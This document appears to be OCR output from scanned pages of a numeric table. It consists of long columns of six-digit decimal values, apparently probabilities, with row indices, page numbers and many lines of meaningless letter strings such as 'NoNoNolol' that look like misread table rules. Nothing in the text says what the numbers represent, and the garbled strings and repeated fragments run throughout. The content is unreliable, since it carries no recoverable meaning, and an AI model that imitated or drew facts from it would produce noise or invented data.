.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.002812
.000004
.000000
.000000
.000003
.000002
.000029
.000024
.000011
.000000
.000001
.000002
.000000
.000000
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[cNoNeoNoNoNolololoholNolNololNoBoNolNoNololNololololNollolNe]

eoNeoNoNoNoNoNolololoNoloNololololNolNolNolNololNololeololNe]

.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

22

.476177
.465763
.057948
.993113
.001105
.000003
.000000
.000001
.000003
.000003
.000000
.000028
.000038
.000055
.000005
.000003
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000

[cNoNoBoNoNoNololoholNolNololNoBoNolNolNololNololololNelolNe]

eoNeoNoNoNoNoNololohoNoloNololNololNolNolNolNololNololololNe]

.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003440
.993611
.002973
.000001
.000003
.000001
.000001
.000000
.000005
.000003
.000024
.000008
.000010
.000008
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006

[ecNoNoNoNoNoNololoholNolNololNolBoNoloNololNololololNollolNe]

eoNeoNoNoNoNoNolohooNoloNololNololNolNolNolNololNololololNe]

.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047062
.464607
.488388
.000010
.000012
.000002
.000000
.000001
.000004
.000008
.000039
.000006
.000022
.000008
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001

[ecNoNoNoNoNolololoholNolNololNolBoNolNolNololNololololNelolNe]

[cloNeoNoNoNoNoNolololoNoloNolNololololololNololNeNe]

.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.000300
.000007
.000001
.000000
.000001
.000003
.000012
.000002
.000002
.000023
.000008
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000

[ecNoNeoNoNoNoNololoholNolololNolBoNolNoNololNololololNelolNe]

[ecNoNeoNoNoNoNoNolololoNoloNoNololololololNololNeoNe]

.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.005015
.000004
.000000
.000000
.000003
.000002
.000031
.000025
.000011
.000000
.000001
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
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oNeoNoNoloRololoNoNoNolNoNolololNe)

eNeoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNoNoNololNolNolNoNolNoNoNololNolNolNolNolNolNo]

.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

23

.476728
.465324
.057974
.972404
.003558
.000003
.000000
.000001
.000003
.000003
.000000
.000029
.000040
.000057
.000005
.000003
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000

oNeoNoNoloRololoNoNoNolNoNolololNe)

lecNeoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNoNoBololNololNoNoNoNoNololNolNolNolNolNolNo]

.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003493
.993535
.002989
.000001
.000003
.000001
.000001
.000000
.000005
.000003
.000025
.000009
.000010
.000008
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000

oNeoNoNoloRololoNoNoNolNoNolololNe)

leNeoNoNoloRolNoNoNoNoNoNoNolololoNoNoNoNoNoBololNolNolNoNoNoNoNololNolNolNolNolNolNo]

.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047102
.464511
.488495
.000010
.000012
.000002
.000000
.000001
.000004
.000008
.000041
.000006
.000023
.000009
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000

oNeoNoNoloRolBoloNoNoNolNolNolololNe)

leNeoNoNoNoRolNoNoNoNoNoNoNolololoNoNoNoNoNolololNololNoNoNoNolNololNolNelNe)

.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.010584
.000008
.000001
.000000
.000001
.000003
.000013
.000002
.000002
.000024
.000009
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000

oNeoNoNoloRolBoloNoNoNolNoNolololNe)

leNeoNoNoNoRoloNoNoNoNoNoNolololoNoNoNoNoNolololNololNoNoNoNoNololNolNolNe)

.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.012967
.000004
.000000
.000000
.000003
.000002
.000032
.000026
.000012
.000000
.000001
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000

237



O O O O oo

eNoNeoNoNoNoNololololoNoNoNoBolNoloNoNoNoNolNololoNoloNolNoNoBoNoloNoNoNolNolNololNoeololololNel

el eoNe]

.000000
.000000
.000003
.000001
.000000
.000000

24

.476649
.465377
.057954
.985790
.001498
.002028
.000000
.000001
.000003
.000003
.000000
.000031
.000041
.000060
.000005
.000003
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

25

.476839
.465207
.057980

O O O O oo

eNoNeoNoNoNoNololololBoNoNoNoBolNoloNoNoNoNolNololNoNoloNololNoBoNoloNolNoNolNolNololNololololNel

el oNe]

.000000
.000000
.000000
.000000
.000000
.000000

.003500
.993511
.003039
.000001
.000003
.000001
.000001
.000000
.000006
.000003
.000026
.000009
.000010
.000009
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003560
.993402
.003063

O O O O oo

eNoNeoNoNeoNoNololololBoNoNoNoBolNoloNoNoNoNoNololNoNoloNolNolNoBoNoloNolNoNolNolNololNololololNel

el oNe]

.000001
.000000
.000000
.000000
.000000
.000000

.047086
.464419
.488576
.001145
.000057
.000002
.000000
.000001
.000004
.000009
.000043
.000007
.000024
.000009
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047101
.464323
.488669

O O O O oo

oloNeoNoNeoNoNololololoNoNoNoRololoNoNoNeoNolNoNoNoNolololBoNoBolNololNolNolNoloNelNolNolNo)

.000000
.000000
.000001
.000000
.000000
.000000

.006105
.000008
.001203
.000000
.000001
.001155
.000013
.000002
.000002
.000025
.000009
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

O O O O oo

oloNoNoNeoNoNolololololoBoNoRolNoloNoNoNeoNolNoNoNoNololNoBoNoBolNololNolNolNolNoNelNolNolNo)

.000001
.000000
.000000
.000000
.000000
.000000

.000540
.000005
.000000
.000000
.000003
.000002
.000033
.000027
.000012
.000000
.000001
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

238



oloNoNoNoNoNoNoNololololoNoNoNoNoBolololoNoNoNoNoNoNoloNoNoNoNoNoNolololoNolNolNo

[eNeoNoNoloNoNolNoNolNolNolNolle]

.976349
.001546
.000003
.000000
.000001
.000004
.000003
.000000
.000032
.000044
.000063
.000005
.000003
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

26

.477020
.465000
.058016
.963114
.000005
.000003
.000000
.000001
.000004
.000004
.000001
.000034
.000046

oloNoNoNoNoNoNoNololololoNoNoNoNoBololNoloNoNoNoNoNoNololNoNoNoNoNoNolololoNolNolNo

[eNeoNoNoloNoNoNolNolNolNolNolle]

.000001
.000003
.000001
.000001
.000000
.000006
.000003
.000028
.000010
.000011
.000009
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003580
.993357
.003084
.000001
.000003
.000001
.000001
.000000
.000006
.000004
.000029
.000010
.000011

oloNoNoNoNoNoNoNololololoNoNoNoNoBolololoNoNoNoNoNoNoloNoNoNoNoNoNolololoNolNolNo

[eNeoNoNeoloNoNoNolNolNolNolNolle]

.000011
.000014
.000002
.000000
.000001
.000005
.000009
.000045
.000007
.000026
.000010
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047095
.464236
.488776
.000012
.000014
.000002
.000000
.000001
.000005
.000010
.000047
.000007
.000027

oloNoNoNoNoNoNoNololololoNoNoNoNoBololNoloNoNoNoNoNoNoloNoNoNoNoNoNolololoNolNolNo

loNoNoNeolNolRolNolNoNolNo)

.013139
.000008
.000002
.000000
.000001
.000003
.000014
.000002
.000002
.000027
.000009
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.022519
.000009
.000002
.000000
.000001
.000004
.000015
.000003
.000002
.000028

oloNoNoNoNoNoNoNololololoNoNoNoNoBolololNoNoNoNoNoNoNoloNoNoNoNoNoNoRololoNolNolNo

loNoNoNeolNolRolNolNoNolNo)

.008430
.000005
.000000
.000000
.000003
.000002
.000035
.000029
.000013
.000000
.000001
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.013801
.000005
.000001
.000000
.000004
.000002
.000037
.000030
.000014
.000000

239



oNeoNoNoNoNoNoNoNoRoloBoNoNoNoNolNolNolBoNololNololNololeolololNolNe]

eoNeoNoNoNoNoNolNoholBoNoloNoloNololNololNoloNelNo)

.000066
.000006
.000003
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

27

.476658
.465326
.058091
.977400
.000005
.000004
.000000
.000001
.000004
.000004
.000001
.000036
.000048
.000069
.000006
.000003
.000000
.000000
.000000
.000001
.000000
.000000
.000000

oNeoNoNoNoNoNoNoNoRoloBoNoNoNoNolNolNolBoNololNololNolololololNolNo]

[eNoNeoNoNoNoNoNolNoholBoNoloNoloNololNololololNelNo)

.000010
.000004
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003555
.993361
.003106
.000001
.000003
.000001
.000001
.000000
.000006
.000004
.000030
.000011
.000012
.000010
.000004
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoNoNoRoloBoNoNoNoNolNolNoloNololNololNolololololNolNo]

[eNoNoNoNoNoNoNolNoholNoNoloNoloNololNololNoloNelNo)

.000010
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047084
.464141
.488877
.000012
.000015
.000002
.000000
.000001
.000005
.000010
.000050
.000008
.000028
.000011
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoNoNoRoloBoNoNoNoNolNolNoloNololNololNolololololNolNo]

eoNoNoNoNoNoNolololoNololNololololNolNolNo]

.000010
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.013366
.000009
.000002
.000000
.000001
.000004
.000016
.000003
.000002
.000029
.000010
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoNoNoRoloBoNoNoNoNolNolNoloNololNololNolololololNolNo]

eoNeoNoNoNoNoNololololNololNololeololNolNolNo]

.000001
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.008641
.000005
.000001
.000000
.000004
.000002
.000039
.000032
.000014
.000000
.000001
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
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choNoNoNoNoNoNoNololololoNoNoNoNolololNe)

eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNolololoNoNoNoNolNoNolololNolNe)

.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

28

.476517
.465392
.058168
.974959
.000005
.000004
.000000
.000001
.000004
.000004
.000001
.000037
.000050
.000072
.000006
.000003
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209

choNoNoNoNoNoNoNololololoNoNolNoNolololNe)

eNeoNoNoloRoloNoNoNoNoNoNolololoNoNoNoNololololNolNoNoNolNoNololololNe)

.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003548
.993345
.003133
.000001
.000003
.000001
.000001
.000000
.000007
.000004
.000032
.000011
.000013
.000011
.000004
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048

choNoNoNoNoNoNoNololololoNoNoNoNolololNe)

eNeoNoNoloRoloNoNoNoNoNoNolololNoNoNoNoNololololNolNoNoNolNoNololNolNolNe)

.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047076
.464047
.488980
.001748
.000015
.000002
.000000
.000001
.000005
.000011
.000052
.000008
.000029
.000011
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120

choNeoNoNoNoNoNoNololololoNoNoNoNolololNe)

[eNeoNoNoloRoNoNoNoNoNoNoNoBolololNoNoNoNolNolololNolNolNolNolNolNolNo]

.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.004342
.000010
.000002
.000000
.000001
.000004
.000016
.000003
.000003
.000031
.000011
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134

choNoNoNoNoNoNoNololololoNoNoNoNolololNe)

[eNeoNoNoloRoNolNoNoNoNoNoNoBololoNoNoNoNolNolololNolNolNolNolNolNolNo]

.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.018342
.000006
.000001
.000000
.000004
.000003
.000040
.000033
.000015
.000000
.000001
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
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O OO OO OO o oo

eNoNoNoBoNoNolNololoBoNolBoNoBoNololNololNoNoNoNolNolNoloNoloNoBoNeoloNololoNoNololNolololNolNe)

.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

29

.476485
.465346
.058224
.992945
.001685
.000004
.000000
.000001
.000004
.000004
.000001
.000039
.000053
.000076
.000006
.000004
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

O OO OO OO o oo

eNoNoNoBoNoNolNolololBoNolBoNoBoNololNololNoNoNoNololNolNoNoloNoBoNeololNolNolNolNolNololNolololNolNe)

.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003556
.993311
.003164
.000001
.000004
.000001
.000001
.000000
.000007
.000004
.000033
.000012
.000013
.000011
.000005
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

O OO OO OO o oo

eNoNoNoBoNoNoNolololBoNoloNoBoNololNoNolNoNolNoNolNolNoloNoloNoBoNeoloNolNolNoNoNolNolNeolololNolNe)

.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047071
.463949
.489096
.000013
.000016
.000002
.000000
.000001
.000006
.000011
.000055
.000009
.000031
.000012
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

O OO OO OO o oo

oloNoNoNoNoNeoNololololNololNololNololNolNolNoNoNoNoNolololNolBoNoNolNolololNolNoloNelNolNolNeo]

.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.002881
.000010
.000002
.000000
.000001
.000004
.000017
.000003
.000003
.000032
.000011
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

O OO OO OO o oo

cloNoNoNoNoNeoNolololoNoBoNoBolNoloNolNolNoNoNoNoNoloololoNoNoNololNolNolololNelNeolNolNeo]

.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.001843
.000006
.000001
.000000
.000004
.000003
.000042
.000035
.000016
.000000
.000001
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000
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oo oNoNoNoNoNoNolololNoloNoNoNoNoNolololoNoNoNoNoloRoloRolNoNoNoNoNolNololoNoNolNolNolNolNo]

leoNoNoNoNololNolNelNo)

30

.476586
.465190
.058257
.988818
.000006
.000004
.000000
.000002
.000005
.000004
.000001
.000041
.000055
.000079
.000007
.000004
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

31

.476786
.464957
.058309
.971087
.000006
.000004
.000000
.000002
.000005

cNeoBoNoNoNoNoNoNolololNoloNoNoNoNoNolololoNoNoNoNoloBololoNoNoNoNoNolNololoNoNolNolNolNolNo]

leoNoNoNoNololNolNelNo)

.003581
.993255
.003195
.000001
.000004
.000001
.000002
.000000
.000007
.000004
.000035
.000012
.000014
.000012
.000005
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003607
.993198
.003227
.000001
.000004
.000001
.000002
.000000
.000008

cNeoBoNoNoNoNoNoNolololNoloNoNoNoNoNolololoNoNoNoNoloRolololNoNoNoNoNolNololoNoNolNolNolNolNo]

leoNoNoNoNololNolNelNo)

.047070
.463834
.489204
.000014
.001304
.000002
.000000
.000001
.000006
.000012
.000057
.000009
.000032
.000012
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047071
.463725
.489279
.001126
.000018
.000003
.000000
.000001
.000006

oleoBoNoNoNoNoNoNolololNoloNoNoNoNoNoloBoloNoNoNoNoNoBolololNoNoNoNoNoNoNoloNolNolNol

O O O O oo

.004248
.000011
.000002
.000000
.000001
.000004
.000018
.000003
.000003
.000033
.000012
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.023305
.000011
.000002
.000000
.000001
.000005

oo oNoNoNoNoNoNolololNoloNoNoNoNoNoloBoloNoNoNoNoNoBolololNoNoNoNoNoNolNoloNolNolNoel

O O O O oo

.004967
.000006
.000001
.000000
.000004
.000003
.000044
.000036
.000016
.000000
.000001
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.003784
.000006
.000001
.000000
.000004
.000003
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oNeoNoNoNoNoNoBoNoholNoBolNololNoNolNeoNoloNolNoNoloNololNololNololeololNelNolNo]

ecoNoNoNoNoNoNololololoNolNololNeololNoelNo)

.000004
.000001
.000043
.000057
.000083
.000007
.000004
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

32

.476615
.465077
.058374
.964633
.000006
.000004
.000000
.000002
.000005
.000005
.000001
.000045
.000060
.000087
.000007
.000004
.000000
.000000
.000000

oNeoNoNoNoNoNoBoNoBoNoBolNololoNolNoNolNoNolNoNoloNololNololNololeololNolNolNo]

eoNoNoNoNoNoNoNolNolololNolNolNololNololNolNo)

.000004
.000037
.000013
.000014
.000012
.000005
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003600
.993173
.003276
.000001
.000016
.000001
.000002
.000000
.000008
.000005
.000038
.000013
.000015
.000013
.000005
.000001
.000000
.000000
.000000

oNeoNoNoNoNoNoBoNoBolNoBoNololNoBNolNoNolNoNolNoNoloNololNololNololololNeolNolNe]

eoloNoNoNoNoNoNolNololololNolNololNololNoeolNo)

.000012
.000060
.000009
.000034
.000013
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047062
.463658
.489368
.000015
.000019
.000003
.000000
.000001
.000006
.000013
.000062
.000010
.000035
.000013
.000005
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoBoNoholNoBolNololNoNolNoNolNoNolNoNoloNololNololNololololNolNolNo]

eoNoNoNoNoNoNoNololololololNololNe

.000019
.000003
.000003
.000035
.000013
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.011669
.000012
.000002
.000000
.000001
.000005
.000019
.000003
.000003
.000037
.000013
.000005
.000000
.000000
.000000
.000000

oNeoNoNoNoNoNoBoNoholNoBoNololoNolNoNoloNolNoNoloNololNololNololololNolNolNo]

eoNoNoNoNoNoNoNolololNolololNololNe]

.000046
.000038
.000017
.000000
.000001
.000003
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.022943
.000007
.000001
.000000
.000005
.000003
.000048
.000040
.000018
.000000
.000001
.000003
.000000
.000000
.000000
.000000
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cleololoNoNoNoNoNoNoNoloNoNolNoNoNoNololololNolNolNo

oNeoNoNoloRolNoNoNoNoNoNohololRolNoNoNoNoNololNololNolNolNolNolNolNo]

.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

33

.476488
.465138
.058450
.981490
.000006
.000005
.000000
.000002
.000005
.000005
.000001
.000047
.000063
.000091
.000008
.000004
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016

ecleoloNoNoNoNoNoNoNoNoloNoNolNoNoNoNololololNolNolNo

oNeoNoNoloRolNoNoNoNoNoNoholoRoNoNoNoNoNololololNolNolNolNolNolNo]

.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026
.000012
.000133
.000058
.000048
.000039
.000017
.000002
.000000
.000000
.000000
.000000
.000000
.000000
.000000

.003621
.993102
.003305
.000001
.000005
.000001
.000002
.000000
.000008
.000005
.000040
.000014
.000016
.000013
.000006
.000001
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000006
.000018
.000003
.000006
.000001
.000026

ecleoloNoNoNoNoNoNoNoNoloNoNolNoNoNoNololololNolNolNo

oNeoNoNoloRolNoNoNoNoNoNoholololNoNoNoNoNololNololNolNolNolNolNolNo]

.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020
.000039
.000219
.000042
.000120
.000053
.000013
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.047057
.463574
.489483
.000016
.000019
.000003
.000000
.000001
.000007
.000013
.000066
.000010
.000037
.000014
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000221
.000087
.000007
.000001
.000003
.000020

cleoBoNoNoNoNoNoNoNoNoloNoNoNoNoNoNololololNolNolNo

[eNeoNoNoloRololoNoNoNoNoNolololoNoNoNoNolNololololNelNo)

.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017
.000068
.000013
.000010
.000134
.000040
.000019
.000000
.000000
.000000
.000000
.000001
.000000
.000000
.000000

.003574
.002745
.000002
.000000
.000001
.000005
.000020
.000004
.000003
.000038
.000014
.000005
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.017078
.000047
.000007
.000000
.000004
.000017

cleoloNoNoNoNoNoNoNoNoloNoNolNoNoNoNololololNolNolNo

[eNeoNoNoloRoloNoNoNoNoNoNoloBoloNoNoNoNolNololololNelNo)

.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
.000143
.000141
.000079
.000000
.000003
.000011
.000001
.000000
.000001
.000000
.000000
.000000
.000000
.000000

.011421
.000007
.000001
.000000
.000005
.000003
.000051
.000042
.000019
.000000
.000001
.000004
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.000000
.013036
.000029
.000002
.000001
.000017
.000010
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O O OO OO ODOOOOoo oo

[eNoNoNoNoNoNeoNoloBoBoNololNoBoNololNololNoBoNoNoNolNoNoNoloNoloNololNololololNolNolNe]

.000015
.000002
.000180
.000209
.000310
.000020
.000013
.000000
.000000
.000000
.000003
.000001
.000000
.000000

34

.476474
.465076
.058493
.990896
.000009
.000005
.000000
.000002
.000006
.000005
.000001
.000049
.000066
.000095
.000008
.000004
.000000
.000000
.000000
.000001
.000000
.000000
.000000
.967048
.000053
.000018
.000000
.000005
.000016
.000015
.000002
.000180
.000209
